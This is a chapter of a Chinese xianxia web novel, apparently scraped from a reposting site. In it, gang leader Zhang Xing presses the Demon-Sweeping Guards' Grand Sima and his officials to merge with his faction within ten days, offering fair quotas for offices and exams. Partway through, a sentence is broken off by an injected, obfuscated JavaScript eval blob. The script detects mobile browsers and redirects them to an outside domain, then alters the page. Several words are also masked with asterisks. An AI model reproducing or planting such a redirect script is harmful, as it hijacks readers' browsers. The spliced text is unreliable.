“张首席好记性。”那女侍,也就是李清洲了,扶着腰中**冷冷来顾。“竟然还记得我们兄妹。” “真是时也命也。”张行一声叹气。“我以为天下纷乱,不会有这种**之外恩仇相逢的戏码……” “张首席不必顾虑。”李清洲依然扶刀,语气却幽幽起来。“兄长送我来北地避祸前就有言语,要我斩断中原故事……” “我可没见你斩断。”张行看着对方握刀之手,不由叹气,他是真心有些可惜。 “张首席误会了。”李清州再度握紧**。“我扶此刀不是为了中原故事,而是为了北地恩义……我如今乃是陆夫人之武令官,自然要做谨慎护卫。” 张行点点头,然后越过身侧陆夫人的亲爹陆惇,去看刚刚来接自己的蓝大温:“蓝司命,我以天下之任,孤身千里至此,是为了跟大司命还有诸位司命共论北地之将来,这陆夫人何至于此呀?” 蓝大温愣了一下,然后看了眼陆惇,不由捻须笑道:“那谁知道,说不定是来探亲的,陆夫人不光是出身黑松卫,她舅舅就是黑水卫的……张首席,咱们总管不了人家走亲戚吧?” 张行也笑:“说得好,天大地大,如何管的了人家?” 说完,便昂首踏进去了,身后贾越、秦宝不顾风尘仆仆,各自引众随行,二十余骑行列入内,倒是让三位司命愣了一下,方才赶紧跟上。 张行一马当先,入得门内,进入大堂,却见里面石桌石椅横列,远端一名披着黑氅的黑胖黑衣老者正在皱着眉头来比对一堆表格,石桌侧面隔着四五个空位的地方,一名四十余岁的布衣妇人端坐不动,手里还拽着一个十来岁的锦衣孩童。 若非女子面容光彩照人,说不得已经有宗师之能,张行几乎以为这是一个替贵人照看孩子的仆妇呢。 “你来了。”黑胖老者待张行走到石桌前,抬起头来,微微一笑,好像见到熟人一般。“先坐,我对对今年羊羔皮的账目,马上就好,马上就好……” “我来吧!”张行径直越过那布衣妇人,来到黑胖老者身侧,将桌上表格拿起来扫了一眼,便直接吩咐。“大司命这把年纪,庶务早该交给我们年轻人才对……许敬祖?” 许敬祖原本小心翼翼,正想着领着文书们站到什么地方去,此时闻言一个激灵,飞也似的跑过去,替大司命去计算羊羔皮了。 黑胖老者,也就是天下仅存几位大宗师之一了,也顺势将眼前文书表格一并推了出去,然后摇头来笑:“这些新东西好是好,可对我却不好,以前根本算不及的,也就算了,现在有了这些,勉强还能算,就不得不算。” 张行直接坐在对方身旁,握住这位实际上初次见面的大宗师之手,然后昂然来言:“所以说,这些庶务应该交给年轻人来做……大司命,我此行只有一个目的,请你将荡魔七卫及所有附属战团、货栈、港口、山林尽数托付给我。” 这个时候,陆夫人刚要起身与自己父亲见礼,三位司命,秦宝、贾越,都未落座,许敬祖更是捧着一堆文书到边上小桌,只看了一个“四百八十三张羊羔皮”,便心下一颤,与其他人一样,目瞪口呆起来。 自己只是劝这位首席喜怒形于色,没劝他单刀直入吧?! PS:推书《苟在战锤当暗精》 () pt 第五十九章 **行(2) “你不等等那位白夫人吗?”大司命被握着手逼到墙角,一时竟也尴尬,这事心知肚明是要讨论的,但哪里想过要这么急,便只能顾左右而言她。 “三娘如今到何处了?”张行自然也要来问此事。 “四日前就到了苦海那边的奔马城。”大司命介绍道。“她一人一骑,应该比你快一些,这两日应该就会到。” “确实。”张行想了一下,摇头以对。“但无妨,这件事情乃是我的本职,不差她一人……大司命以为如何,能否同意两家就此合一?” 好嘛,又绕回来了。 这大司命晓得无处闪避,便也终于正色:“事情千头万绪,张首席谈何轻易合一呢?” “时不我待。”张行干脆答道,抓着对方手的手依旧没有松开。“有时候千头万绪想开了,不过是一念之间。” 这大司命愈发无语。 “虽说时不我待,可张首席也该晓得欲速反而不达的道理。”立在石制大堂外侧三司命之一的蓝大温回过神来,主动开口为自家大司命做解。 “蓝司命误会了。”张行回头看着此人言道。“我说的时不我待,不是说黜龙帮,而是说荡魔卫……是荡魔卫时不我待,所以我们黜龙帮才来救时争先。” 房间里当场尬住,估计平日里在北地,也没人跟这几位饶舌过,竟一时不知道该如何应对。 停了半晌,还是大司命自家叹气:“张首席好利的口舌。” “口舌生在人身,乃是为人处世的基本技能,若能厉害一些当然是好事。”张行笑道。“不过,事关百万之众的归属,我以为大司命和几位司命即便是口舌不利心中也必有计较,所以我的口舌再利,也不能变黑为白,而如果切中了要害,那只推辞是口舌,也未免可笑。” “那敢问张首席切中了我们什么要害?”陆夫人的亲父、黑松卫司命陆惇忽然冷冷开口。“就是这个时不我待吗?” “这当然是其一。” “我们荡魔卫时不我待?” “是。” “待什么?” “待到荡魔卫有消亡之危,便会后悔不迭。” “荡魔卫有消亡之危……” “然也。” 石头大堂里再度安静了下来。 张行依旧拽着人家大司命的手,扭头环顾堂内,明显不解:“荡魔卫有消亡之危,这不是人尽皆知的道理吗?若非如此,我来这里干吗?直接打下南部三城两卫,然后回邺城建国,趁势跟北地各方定个名义上从属合约,不就行了?为什么要亲身至此?” 几位司命是真差点嘴皮子上的功夫,一时间是真有些懵了……他们不理解,以对方的身份,是怎么把这么无稽荒唐的事情说的那么冠冕堂皇的? 这传承了几千年的荡魔卫真要亡了? 这不可能啊! 张行回头来看身侧黑氅老胖子,言辞诚恳:“大司命难道也不知道吗?要是连您也不知道,那我真就是白来了。” 黑氅老胖子一声不吭,他知道个鬼?!他现在还晕着呢,大宗师也跟不上这种嘴皮子呀? 张行见状失笑,便来连番问那几位司命:“诸位,你们若是觉得荡魔卫可以千秋万代,那敢问为什么当年要弃了河北?那红山难道不是至尊拿真龙的性命外加另一位至尊的血染红的吗?掷刀岭里面和此城周边到处都是碑,可天下难道有比红山更明显的荡魔卫功业丰碑?还有那武安郡内的大黑帝观,是我生平所见最大的黑帝观,如今为何沦为兵营?我还去过晋北一座小天池,是中原皇帝祭祀黑帝爷的所在,据说是黑帝爷的遗迹,既是黑帝爷的遗迹,难道不是荡魔卫昔日兵锋所至?如今都在哪儿呀?” “若是这般说,倒也无可辩驳。”听到这里,蓝大温第一个带头坐了下来,不由叹气道。“我也大约晓得张首席的意思了,天下大势滚滚向前,赤帝娘娘那里说是真火教遍布江南,可若只是烧个火敬奉一下至尊便算是至尊直领未免可笑,更不至于专门开辟了妖岛……东夷那里局面是最好的,但大魏一而再再而三去打,换成你们黜龙帮或者哪里取了天下也不可能不去打,这便是你们中原的大势所趋对不对?” “奉三辉以驱四御……”一直没怎么吭声的黑延也嘿嘿笑了两声,然后落座。“何止是河北,南两卫这些年是个什么情景,大家也心知肚明,北地内里压不住八公,也做不得假。” “张首席是想说,至尊让地于人是天命大义,而我们荡魔卫若不能化神为俗,迟早自取灭亡,是也不是?”陆惇也与其余两位司命并肩而坐,然后面朝张行严肃以对。“若是这般,你虽是夸大言辞,可这个道理我们也是认的,只是恕老夫直言不讳…… “一来,让地于人,化神为俗,为什么不能是我们荡魔卫内里自家来做,为何要靠降服他人来做改革? “二来,历来这等事都要如夺陇赛那般反复拉扯进退,而这一进一退恐怕就是几百年,就是中原朝代更迭,而我们荡魔卫根基深厚,凭什么就要说迫不及待? “三来,既是进退便可百年,既是内外有分,我们凭什么要选定张首席和黜龙帮作为改易的机会呢?” 这就是摒弃话术,讨论到核心问题了,但某种意义上来说,也的确是先默认了张行的故作大言,进入到了张行想表达的区间。 “第一个问题很简单,确实不能指望荡魔卫内里来做革新。”张行笑道。“甚至指望北地内里的豪杰来做这事都难。” 三司命既坐,秦宝和贾越便率领随行二十余人立在门内,此时听到这话,却是不约而同去看那位布衣妇人,但后者只是面色如常,还不知道从哪里翻出来一个甜饼来喂身侧孩童。 “你不也是北地豪杰吗,如何这般小看北地人?”陆司命皱眉相对。 “谈何小看,只是实情罢了……敢问卢公,北地乃是天下一隅之地,是也不是?” “自然如此,却又如何?” “自然如此,便有几个说法了,这几个说法,不仅是我做的议论,也是荡魔卫存世以来,所谓制度革新之事的总结,若有不对,几位司命可以随时教导我。” “说吧。”黑延似乎有些不耐。 “一则北地于天下人口稀疏,地方偏远,不是说荡魔卫内里和北地豪杰不能自改,而是总没有中原腹地改的快,改的猛烈,敢问是也不是?” 被质问的荡魔卫一方只有四个老头,所以没有人做专门的辩解。 “二则,北地虽远,但到底是天下一部分,区区一座掷刀岭,一片苦海、渤海,根本不能阻止北地与天下交通,何况黑帝爷起于北地,北地本就算是天下人族之祖庭,中原视北地为一体,北地也没有独反之意,这种情况下,便是荡魔卫和北地内里想自行其是,也难阻止中原之汹涌澎湃或明或暗涌进来,敢问是也不是?” “……” “三则,北地虽号称善战,但比之中原之力到底有限,所以只要中原与北地相撞,至尊又没有亲自插手,便是北地常常力有不逮,以至于屡屡受中原之汹涌!敢问是也不是?” “哼!” 话到这里,张行稍作严肃:“然后便第四了,真到了这个汹涌之时,便不止是一个胜败,而是说即便北地豪杰内里真的自行尽力改了,到头来也会被更激烈的中原豪杰指为阻碍大势的守旧逆势之人……我不信荡魔卫中没有此类英雄气短。” 听到这里,堂内三位司命皆有凛然之态,张行身侧那位大司命也是一声叹气。 随即,三司命中的陆惇缓缓来言:“张首席这几句话是有些道理的,我们的确很难驳斥,但我怎么听着,首席这一层叠一层,最后居然威胁之态呢?难道今日这里不能妥当,那黜龙帮便要刀兵相攻吗?” “陆司命没有弄错我的意思。”张行手里还握着身侧大宗师的手,却居然还敢大放厥词。“我来之前,已经遣任方面,攻击柳城、落钵城了,而此番不管有没有好的结果,待我回去……或者不回去,他也一定会催动大军继续北上,到时候沿途荡魔卫各处是敌是友,都是无所谓的……这一点,黑司命最清楚不过。” 黑延似笑非笑,却不否认。 “那还有什么可说的?”眼见如此,蓝大温直接拍案。“咱们回去各自准备,做过一场再来说话就是。” “蓝公这话未免偏颇,越是刀兵相迫甚急,越要尽最大努力避免刀兵,省的谁家丈夫谁家儿子死在大兴山下,收尸都来不及,只被野狼啃走。”张行气势不减,扭头再来看身侧老胖子。“大司命,我以为越是如此,越能显出我的诚意来……黜龙帮的局势摆在那里,现在是多家蓄势争雄的时候,而之前春日收取河北之迅速连我们自己都没想到,现在不可能不趁天时地利入北地的,这一点不是谁一念能阻止的,还希望你能理解。” 大司命再度叹了口气,却没有说话。 见到对方不说话,张行依旧握着身侧这位大宗师之手,然后来看陆惇: “陆司命,咱们接着说你的问题,第一个问题我已经答了,第二个问题和第三个问题,其实是一个问题,便是为什么荡魔卫要此时选黜龙帮和我来做这个改革,我现在也来告诉你们答案,那就是黜龙帮给你们的条件是最好的,好到对荡魔卫和你们而言,一旦错过便再难寻此良机。 “除此之外,虽然有些自灭威风,我也要说清楚,荡魔卫自有倚仗,完全赌的起这一遭,便是我们黜龙帮败了,坏了,不能履约了,你们荡魔卫依然能重新来过。” 陆惇听了片刻,冷笑一声:“之前说我们荡魔卫力有未逮的是你张首席,说时不我待的也是你张首席,现在怎么说我们赌得起的还是你张首席?你这张嘴难道不是在信口开河吗?” “这有什么矛盾吗?”张行认真解释。“力有未逮说的是一时和现在,现在我们黜龙帮就是有扫荡北地的能力和决心,荡魔卫注定阻拦不得;而时不我待说的是荡魔卫改弦易辙势不可挡,而我们黜龙帮是条件最好的;至于说赌的起,则是说长远,是说荡魔卫居于天下一隅,又有至尊加佑,真到了大局将倾的时候,反而容易存续。” “可是,若被你张首席糊弄着上了船,荡魔卫果真还有长远可言吗?”黑延忽然开口。“你在中原所为,荡魔卫里没有人比我看的更清楚,中原人都说你张首席是拿着荡魔卫的人事制度去套中原的**制度,可我却晓得,那些人都是胡扯。你所为看起来跟北地荡魔卫、战团有些相像,其实内里完全不同……我们荡魔卫从来没有让孩子强制筑基,然后连着出仕当兵,更没有将卫里的人放到地方充任官吏到乡里一层……张首席,便是黜龙帮有几分北地的影子,那也只是影子,其实比荡魔卫严密十倍!到时候,只怕荡魔卫在黜龙帮里是要被整个化掉的。” 这话说出口,很多人都面露诧异,一直在算账的许敬祖都迟疑了几分。 “黑公这话说的,岂不是自相矛盾?”张行昂然笑道。“若是真被化掉,便是说你们先认了我的条件,然后咱们又一起成了事,那到时候不化掉又待如何?” 黑延严肃以对:“张首席,我得跟你说清楚,荡魔卫传承数千年,虽然正如你说依次丢了河北,去了晋地,如今连北地的南部两卫都遥遥欲坠,可到底是个有分明家法的去处,你必须要保证我们荡魔卫的规制,否则后世子孙要骂我们这些人的。” “黑公若是这个意思,我当然可以保证。”张行即刻应声,然后扭头来看身侧之人。“既如此,大司命要不要正经听我说一说大略条件?” 披着黑氅的胖子再度叹气:“那就请说吧。” 张行心中一定……因为对方这般表态,便是说明这位大司命原则认可了之前的前置讨论,也就有了合作基础……你总得弄清楚对方是否有合作意愿吧? “你们也都坐。”张行这才松开了人家大司命的手,然后招呼自己人落座,却又看向前面的蓝大温。“蓝司命,可有茶水点心?” 蓝大温一摊手:“得去观那头的厨房去拿,陆夫人是自家带的……我原本是准备让你们来跟大司命见一面,然后歇息一下,晚上再说正事的。” “那就不用了,反正我接下来要说的反而简单。”张行看了看前面三位司命,目光扫过那位陆夫人,昂然来言。“诸位,我今日来北地讨论合并条件,能稍微自傲的,便只是一件事,那便是公平……而中原与北地,最大的问题和隐患就是不公平,所以最公平的条件,就是最好的条件。” 石堂内鸦雀无声,黜龙帮的人是习惯了自家这位首席的语言习惯,而荡魔卫的几位司命则是完全不习惯,倒是愈发认真了。 “首先,荡魔卫的存续问题,我认为可以让荡魔卫继续留存,而荡魔卫的成员以个人身份加入我们黜龙帮,两套体制并列运行……诸位以为如何?”张行先列出一个条件。“能否接受?” “这个法子是有些别出心裁,也给我们留了余地,但不能现在就说什么接受不接受,张首席,咱们都说到这一步了,更该坦诚……” “那好,再说下一条,加入黜龙帮的荡魔卫成员,我们既会按特定的人保证待遇和职位,也会按照荡魔卫的规制保证总体待遇。”说着,张行指向身侧之人。“比如大司命过来是龙头,诸位司命是大头领,副司命给头领,战团看人数和修为,基本上凝丹以上的,我们都给头领待遇,并且保证,整个荡魔卫不少于两位龙头,十位大头领,二十位头领。” “两个龙头?”陆惇冷冷反问。“黜龙帮这个安排是想干什么?” “是想做到公平公正。”张行坦然作答。“诸位若稍知我们黜龙帮制度,便该晓得,按照北地的地理、人口,应该设三个行台,举三位龙头,南部一个,然后北面以大兴山为限,东西各一个……而这三个龙头里最合适的应该是黜龙帮那边派来一个,荡魔卫一个,然后北地其他人再来一个,但问题在于,大司命是大宗师,无论如何都应该专而待之,所以再给大司命加一个位置。” “道理是对的,但张首席还是在耍滑头。”陆惇继续点破道。“无论如何,北地一隅,两个龙头,总会让我们荡魔卫离心。” “话到这个地步,如何会耍滑头?”张行不由笑道。“那就请另一位龙头异地出任,去大行台或者河北,乃至于去淮北、东境,包括请大司命去邺城坐镇又如何?” 三位司命面面相觑,都不好再追问此事……平心而论,黜龙帮给足了脸面,北地人口和地理情况摆在这里,就是三个行台的规制,而荡魔卫实际占据北地是不足一半的,现在人家给两个龙头,又可以摆出北地一个,倒是实打实的多赚了。 “眼下的人事安排是这个安排,诸位要是没有反对的意思,我就继续说最重要的人才选拔。”张行再三催促,而眼见如此,便也继续了下去。“诸位应该晓得,我们黜龙帮最核心的身份其实就是头领身份,有了头领身份,就算是登堂**了,大会举手也好,掌握职司也罢,都要经此一遭,所以,想要自诩公平,除了眼下的任命之外,还要给诸位做个保证,保证以后黜龙帮吸引人才,选定头领,也能对北地和荡魔卫公平公正。” 话到这里,不止是三位司命,便是跟来的黜龙帮精英们也都竖起了耳朵。 “先说选拔人才的途径。”张行正色道。“其一,自然是看修为,物以稀为贵,真气又是天下至玄之物,那有人修为到了宗师,又长居治下,黜龙帮总该去寻人家问一句,愿不愿意来做大头领?所以,咱们因时而动,挑选修为拔尖的人来做头领,具体到现在就是凝丹,我以为凝丹者只要人家愿意来,都要给个头领的待遇,然后一起做事情。” 这算是题中应有之义,没有人有过多反应。 “其二,科举……这主要是文修和文法吏的选拔处,大家一起来考试,遮蔽姓名,统一考题,分科分类专项取士……这件事情古已有之,大魏将之制度化却没有做好,我们黜龙帮准备完善然后坚持做下去,看人数,每年或每两三年都要来一次,而且还要建立各级学校一直到邺城的大学,让这些文修和文法吏,包括那些依仗武力做修行的年轻人,都有个基本的路数。” “这倒是显得公平了。”有人嘟囔了一句,却居然是贾越。“但如何显出对北地的公平来?” “其三,从底层官员提拔,要让最基层的乡里士卒有往上走的通路,让他们能登堂**。” 张行没有理会对方,只继续按部就班做了最后陈述,却也是做了回答。 “而这其中,尤其是第二条跟第三条,我有一个关键的建议,那就是按照地域予以分榜保护……譬如现在,假设全取了北地,黜龙帮便有河北、北地、东境、淮北四块大的地方,就科考和提拔的时候就应该有个大约的比例,比如河北取一百人,北地就要取五十人,东境和淮北也各要有五十人,就是按照大略人口比例,公平分配名额,这样就能避免大魏时期瘦天下而肥关陇的不公用人方略。” 话到这里,张行摊手来问:“几位司命还有大司命,你们以为如何,这番人事设计可够公平?” 回应张行的乃是沉默。 “除此之外,我还有一些想法。”张行继续笑道。“也算是一个条件,诸位,如果北地一举而平,咱们多争取几年安泰时间,我们黜龙帮愿意协助北地修一条路。” “修路?”黑延诧异来问。 “修路、建桥、整修河道与港口,将北地核心地区整个联通起来。”张行没有过多解释。“路上我就发觉,北地明显需要这个工程,我们也愿意帮忙,只要给工钱,如何做不得?总之,这也是一个条件,加上之前的条件,诸位以为如何,可够公平,可能买诸位随我们黜龙帮搏一把?” 几位司命面面相觑,一时无语,但不知道是不是错觉,气氛明显平和了不少,似乎这个条件也戳中了他们的要害。 半晌,蓝大温开口道:“张首席,我们不能说你给的条件不公平,但太急了……荡魔卫家大业大,不可能就这般轻易一口应许。” “不错。”陆惇也蹙眉道。“张首席话说到这份上,非要说没有诚意,那必是我们装大,或者别有他图专做混淆,但张首席,你不能空口白牙,用几句话就逼着我们立即将基业奉上……能否稍缓一缓,让我们做个商议?” “诸位当然可以继续做商量,但稍缓却不能太缓了。”张行笑道。“因为我只有十日的时间,过了十日,我自南归,届时玉帛变干戈,就不能算我的责任了。” 话到这里,贾越到底是没忍耐的住:“首席,你到底是北地人,荡魔卫的出身,还是黑帝爷的点选,现在做出这么大局面,回到北地,两家合一本就天经地义,就算是有些艰难,也该努力克服过去,何必这般急迫?” 和石堂内所有人一样,张行看了这位黜龙帮资历大头领一眼,却也和其他人一样没有吭声。 其他人是不好开口,而张行则是早有预料。 实际上,早在之前于掷刀岭询问对方要不要一起来的时候,甚至在幽州把对方安排到北进序列时,张行就预料到了这个场景。这是因为张行心里清楚,作为极早入帮的骨干战力,贾越却一直不能融入黜龙帮,或者说,这位北地武士一直更在意的是他自己的至尊点选身份,纠结于与其他至尊点选的关系。 他被这个东西给捆缚住了,好像这个才是他人生的全部,他的人生使命就在这个。 第一次见面时,这厮就已经有些走火入魔的感觉了,不然也不会给喜欢上**的义军当刽子手,往后张行稍作开解过几次,眼瞅着的确是渐渐好转了的,但黜龙帮千头万绪,偌大的事业也不可能一直看顾着他,尤其是这两年,这厮行为做事是好了不少,但还是不能摆脱这个身份桎梏。 坦诚说,现在在谈判中露出破绽,只是个不足为道的小问题。 “说的好,这堂中所有人都是至尊名下,何必喊打喊杀?”一直没开口的陆夫人此时果然插嘴了。“要我说,张首席也不必过于纠结于十日,稍微放缓到一月又如何?” “一月怎么说?”蓝大温立即来问陆夫人。 “一月时间,南边已经开打的两城暂时撇下,却足以召集八公七卫百团其余的豪杰汇集在此,张首席这般公平之策略,何妨就在这神仙洞里当着黑帝爷的面与北地所有豪杰说个清楚,若是能说服他们,整个北地全都不战而降,岂不是更好?”陆夫人款款而答。 “确实。”蓝大温随即来问张行。“张首席怎么看,陆夫人这个建议绝对可行,而一旦事成,也足以让所有人心服……这不就跟你们在邺城开大会一个意思吗?” 所有人都来看张行,那贾越不知道有没有意识到自己刚刚出言有误,反正此时是期盼来看的。 张行闻言一声叹气:“不可以,只能是十天……” “何逼迫太急?!”陆惇明显愤愤。“明明可以一月来决,非要十日,难道荡魔七卫如此轻贱吗?!” “十日何其苛刻!”蓝大温也给了基调。 张行扭头看向许久没开口的大司命,从容来问:“大司命也是这般想的吗?” “有什么道理一定是十日,不能是一月,是军事上的考量吗?还是河北另有他事?”披着黑氅的老胖子微微来笑。“张首席,若是能一月而事成,使北地人心膺服,再去处置其他的事情,总会事半功倍,若是真有什么具体难处,我随你走一遭便是……” “非是此意,而是另有说法。”张行连连摇头,脸色也严肃起来。“十日而决,荡魔卫与黜龙帮合一之事或许能成;三年两载而决,我也有把握必成,但时势不允许;至于一月而决,恐怕十之**不能成……只能说,这位夫人到底是不懂这些**上的事情,不晓得我们黜龙帮在北地最大的要害就是没有根基,不能深入各处号召豪杰,更不晓得我其实只能寻大司命还有几位司命来独断,从而尽量博一个好结果。” 陆夫人闻言微微一笑,低头来摸那孩童脑袋,好像刚刚真的是不懂**才这般出言,现在晓得不对了不好意思一般。 而堂内其余人则不免有些紧张乃至于紧绷起来……贾越固然是有些不安,就连几位司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168014|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命脸色也难看起来。 “既如此,我全然晓得黜龙帮与张首席的形势、难处、条件与要求了。”大司命点了点头,俨然准备终结这场开门见山的会面。“十日就十日吧,我尽量给个具体的答复。” 张行点头,然后起身:“既如此,请大司命给安排个住处,我们这些人里多是第一次来北地,未曾好好见过北地风情。” “这是自然。”黑胖子难得起身,微微抬手,却是指向了蓝大温。“大温,还是你来好好招待。” 蓝大温点点头,叹了口气,方才起身:“诸位,请随我来。” 张行带头,黜龙帮上下一起动身离开。 也就是这时候,三司命之一的陆惇忽然在座中冷冷来言:“张首席,你这般说话,我们也没有了转圜余地,但我要提醒你,大司命和我们不是不能自决,但这般自决,本身就要耗费我们的威信与名声,所谓或许能成也只是或许能成。” 张行点点头:“无妨,只要我确实能做到公平,几位司命也能做到公正,咱们便是不成,那也是天意如此,至尊自家束手了。” 说完,一拱手便出了门。 然后一如之前来的时候那般,越过李清洲,踏上那个石头里掏出来的长廊,蓝大温在前面引路,往神仙洞前的黑帝观方向而去。 越过神仙洞,走到黑帝观前头这里的路口,本该往石头城里去安顿,但张行忽然止步,盯住了身后一人:“贾越。” 贾越明显有些出神,此时一愣,不由停在当场:“怎么?” 周围人也是一愣,然后纷纷止步,秦宝更是微微向前,让自己立在了贾越侧后方。 “你是不是觉得,你和我,还有陆夫人,都是黑帝爷的点选,所以要有点选之间该有的言语与行为,便是大司命和几位司命也该以侍奉至尊为主,而我们刚刚举止言语,完全不是这样,所以疑惑不安?”张行认真来问。 “是。” “那我明白告诉你。”张行严肃以对。“至尊是至尊,人是人……就好像这些司命,司谁的命?只是司至尊之命令吗?难道不要先司荡魔卫治下百万人性命?甚至至尊之所以能成为至尊也是因为人的事情。而我们哪怕是什么点选,也要先做好一个人,我是黜龙帮的首席,你是黜龙帮的大头领,我们都还是北地寻常一人。不是说不去与至尊做事情,更不是不敬重至尊,而是说今日、眼下,要先说人的事情,做人的事情,你千万不要把两者弄混。” 原本在最前面的蓝大温负手立在张行身后,面无表情看着这一幕,全程一声不吭。 而贾越想了许久,方才反问:“所以,今天的事情不关我想的那些事情?” “是。”张行迅速点头。 “那我两次开口,是不是坏了局面?” “是。” “那会耽误事吗?” “不会!”张行即刻摇头。“决定这次事情的关键,还是天下跟北地的局势,是我们黜龙帮跟荡魔卫的实力,是我们进取北地的决心与他们保全荡魔卫的思虑,是所有人为了北地大局愿意舍弃多少的计量……不是说人家不会考虑你我乃至那位陆夫人至尊点选的身份,而是说即便考虑也一定是有特定计量,不会因为你的两句话就动摇了决心。” “不错。”秦宝也在身后挑眉来言。“贾大头领,我说句不好听的,要是荡魔卫的大司命因为你这两句话就改了主意,那这荡魔卫也就是这样了,打也能打服他们!” 贾越稍微释然,而就在正对面的蓝大温则依旧面不改色。 倒是张行回头笑了一笑:“年轻人不懂事,乱说话。” 随即,不等蓝大温说什么,又转回来问贾越:“如何,既回北地,要不要往家中走一趟?” 贾越连连摇头:“你还有个舅舅一家,我什么都无。” 张行一滞,只能点头。 当时无话,一众人随蓝大温离开了黑帝观,转入石头小城内,却没有停留,而是出了那石门,下了石头山,来到下方的大城区,然后在石山下黑水旁一处馆舍内落脚。 随即,张行下令,让个人自行往城中游戏休憩,只不许违法乱规,而他自己也身体力行,带着秦宝一起四下去逛。 只能说北地荡魔卫之首府,至尊得道之圣所,果然非比寻常……张行稍微逛了半个下午,最大的感觉就是人口中工匠与战士的比例过于高了,然后城市的工商业氛围居然大于宗教氛围。 工业是说工坊极多,尤其是各类铁器木器打造,商业则以大宗为主,沿河两岸多有仓储,往来中小船上看的清楚,多是皮货、木材、矿石、武器甲胄、粮食,北侧远一些的一处谷地里还有大量的牛马羊猪等牲口。 工坊和武器甲胄牲口能够理解,但不理解为什么会这地方搞其余的战略性大宗商品,稍微问了一下,却也释然……原来是要借着至尊与荡魔卫总部的威势来做信誉,流动性的战团在这里交易大宗商品,可以大大减少可能的人为风险。 当然,张首席遣人问了,据说是世风不古了,有些人坑了货物钱款,直接逃到八公的地盘上去,或者干脆出海,荡魔卫也没办法。 看来至尊目前,还是挡不了一些人一意为之。 看了半个下午,又去吃了顿北地特有的铁锅炖大雁,张行甚至还破例陪秦宝喝了二两北地烈酒“头盔烧”。待吃饱喝足,回到落脚馆舍,更是去泡了一个澡,换了身干净衣服,然后便抱着几本买来的书籍进了房间。 这个时候,许敬祖求见。 张行当然没理由拒绝自己此行的专项文书,双方就在卧室内相见。 而许敬祖进来后行了一礼,立即告知:“首席,打探清楚了,陆夫人是昨日才将将到的,是随着蓝大温一起到的,落脚处就在咱们这里的河对面,她带的孩子算是她亡夫家的表侄,正是听涛城双公另一家的正主……当年三征时陆夫人夫家那位听涛公在前线被于叔文连累亡故,这孩子的父亲也就是观海公尝试夺下全城,反被陆夫人杀了全家,独留下这个孩子作为把手,掌控全城。” “也就是说陆夫人起势跟我们黜龙帮起势是同一年。”张行幽幽一叹。“这些年只多拿下了一个奔马城?” “当然不至于。”许敬祖笑道。“看今日局面,这蓝司命明显是向着陆夫人的,而如果蓝司命所在的安车卫是属陆夫人,那昔日冰流城,如今被称为冰沼城的地方,就在奔马城、听涛城、安车卫中,就算名义是被刘文周这位宗师占据,可如果没有应许,便是宗师又如何站得住脚?所以,刘文周也要算到陆夫人那一边。” “也就是说,咱们之前按照地理给北地划的三块里,北部西路,临苦海这一片,基本上算是陆夫人独占了?”张行若有所思。“了不起。” “确实了不起。”许敬祖也感慨起来。“北地这个地方,属下也看出来一二,最大的麻烦不是人的事情,也不是神仙真龙,而是冬日太长,是山脉阻隔,荡魔卫之所以能屹立千里,固然是有至尊之命,有大宗师坐镇,但他们能为北地维修道路,控制山野猎场,调解战团争端,却不是占据了富庶之地一意自肥的诸公能代替的。而陆夫人能越过荡魔卫,收拢一片地方,安抚住当地诸多战团,与巫族保持和睦,控制往来混血部落,委实了不起。” 张行连连点头,看出来蓝大温才是陆夫人那一边,而陆夫人亲爹陆惇反而讲究一些,只是基本的人情世故,而能说出现在这番话,便是真懂得一些北地本质了。 说白了,北地这里,阶级矛盾是有的,地域争端是有的,真龙和凡人的矛盾也有,荡魔卫和封建领主矛盾更是明显,中原跟北地之间的对立更是清晰无误。 但除此之外,必须要明白一件事情,那就是天文地理条件导致了北地现在的生存方式。 譬如说,不能讲这里的自然条件多么恶劣,可问题在于,这种气候和山脉的存在,以及地广人稀的客观条件,不使用战团这种生产组织,如何能在北地自立? 而另一个重大的核心问题在于,战团这种细碎化的生产组织之外,谁,又如何能够向所有人提供整体性的公共服务? 道路谁来检修维护? 贸易**谁来仲裁? 港口谁来优先使用? 祭祀活动谁来组织? 这些东西,不是靠夺陇比赛就能决定的,而这也是荡魔卫能够久存,却又日渐不支的根本原因,也是张行一定要加上给北地修路这个条件的缘故。 黜龙帮想要入主北地,必须要承担起提供公共服务的责任。 回到眼前,张行继续来问许敬祖:“还有什么情报吗?” “有……”许敬祖犹豫了一下。“下午的时候,有本地人宴请了贾大头领。” “他是北地人,有认识的也属寻常。” “属下来这里说这个,其实是担心一件事情,贾大头领心思单纯,而陆夫人又素来以行阴谋诡计著称,贾大头领会不会被人家赚了,然后反过来诬陷我们?” “比如呢?”张行认真来问。 “比如他被骗去晚间见陆夫人,却被陆夫人诬陷为行刺。”许敬祖小心来言。“毕竟,常理来说,眼下最好的解决方法就是两家相搏,只要一个首领没了,荡魔卫便只能跟另一家合作……到时候我们不免百口莫辩。” 张行笑道:“大宗师眼皮子底下,一目了然,做这种事情必不能成,到时候反而徒增可笑。” 许敬祖缓缓摇头:“首席,必不能成是对的,可你再想想,事情本身果真那么一目了然吗?如果大家都觉得出了这种事是陆夫人自导自演,那为什么我们不能主动做这种事情?然后陆夫人为什么不能指责是我们主动做此事?要我说,只要这等腌臜事闹出来,咱们俩家就都是癞**上了床。只是偏偏……” 张行心中微动:“只是偏偏咱们是做事的,人家是坏事的,所以癞**上了床,总是咱们吃亏……是也不是?” “是。”许敬祖笑道。“所以,首席若有意,何妨闹出点事来?” “你呀!”张行指着对方有些无语,乃是摆出了领导架势来。“小许,不是不许**人心,但那一定是要到了必要时候,没有必要的时候做这些事情,收益可有可无不说,指不定哪日就要失控**……记住了,你的年龄、才能、热情摆在这里,迟早要做帮内骨干的,越是如此,越要懂自制。” 许敬祖赶紧肃然。 “当然,现在是做文书,有什么话说什么话也是可以的。”张行复又安慰,俨然还是脱不开对方的阴谋诡计。 